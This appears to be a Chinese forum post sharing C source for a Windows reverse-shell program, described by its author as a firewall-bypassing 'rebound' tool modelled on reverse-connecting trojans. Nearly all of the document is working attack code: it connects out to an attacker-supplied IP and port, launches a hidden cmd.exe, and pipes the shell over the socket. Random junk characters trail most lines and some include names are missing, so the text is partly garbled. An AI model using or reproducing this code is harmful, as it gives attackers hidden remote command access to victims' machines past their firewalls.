这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Bd[}A9O[
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/* ============================== cjpl_}'L:
Rebound port in Windows NT spDRQ_qq
By wind,2006/7 !ry+ r!"
===============================*/ PQ|x?98
#include :G)x+0u
#include No+zw% l0E
$h
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#pragma comment(lib,"wsock32.lib") aDEP_b;
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void OutputShell(); 0Jif.<
SOCKET sClient; zW&W`(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^(B*AE.
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void main(int argc,char **argv) 5qko`r@#
{ 0 pz
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WSADATA stWsaData; /!3:K<6@
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; 7dW&|U
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if(argc != 3) ]<_+uciP5[
{ t`{Fnf
printf("Useage:\n\rRebound DestIP DestPort\n"); hidweg*7
return; t0(hc7`
} Fje%hcV
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WSAStartup(MAKEWORD(2,2),&stWsaData); L0~O6*bk
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?uv%E*TU
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stSaiClient.sin_family = AF_INET; #$QY[rf=6
stSaiClient.sin_port = htons(0); J'v|^`bE
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3E9j%sYk
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #d(r^U#I
{ ;I'["k%
printf("Bind Socket Failed!\n"); /y@iaptC
return; wkw/AZ{27
} tam/FzVw
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stSaiServer.sin_family = AF_INET; Reo0ZU>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wtyu"=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); aT[7L9Cw
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ay.IKBXc
{ $r_ gFv
printf("Connect Error!"); i{0_}"B
return; #a:C=GV;4
} 'Mtu-\
OutputShell(); f{oWd]eAhb
} =)LpMTz
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void OutputShell() =7>~u
{ l{g(z!
char szBuff[1024]; > kT~X ,o
SECURITY_ATTRIBUTES stSecurityAttributes; =uTV\)
OSVERSIONINFO stOsversionInfo; >Fh@:M7z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }+1o D{
STARTUPINFO stStartupInfo; x.Y,]wis
char *szShell; NST6pu\,U
PROCESS_INFORMATION stProcessInformation; ~Otf
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unsigned long lBytesRead; RB!E>]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cx)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]Re<7_xt
stSecurityAttributes.lpSecurityDescriptor = 0; 1F/&Y}X
stSecurityAttributes.bInheritHandle = TRUE; lB-7.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1<UQJw45
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o6oYJ`PY
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); We2=|AB
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZWH`s
stStartupInfo.wShowWindow = SW_HIDE; xh$[E&2u
stStartupInfo.hStdInput = hReadPipe; z7o59&
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Yaqim<j
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GetVersionEx(&stOsversionInfo); =v-D}eJQ=
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switch(stOsversionInfo.dwPlatformId) =*I9qjla[?
{ %k_JLddlW
case 1: ]Az >W*Y
szShell = "command.com"; /VQ<}S[k}-
break; ge|}'QKow
default: Z)<>d.
szShell = "cmd.exe"; jsj" W&J
break; qM)^]2_-
} U\N`[k.F
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `Cc<K8s8
:
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send(sClient,szMsg,77,0); z3,z&Ra
while(1) %PpB$
{ %/7`G-a.B
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qlu yJpt
if(lBytesRead) 7K~=Q Ec
{ SFHa(JOS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [M.Vu
send(sClient,szBuff,lBytesRead,0); Oo E@30+
} eL.S="
else &AzA0r&,
{ t0Uax-E(
lBytesRead=recv(sClient,szBuff,1024,0); Q["}U7j
if(lBytesRead<=0) break; pVr,WTr6E
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fqi584
} :Vg,[\I{
} +J2=\YO
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return; @S{,g;8
}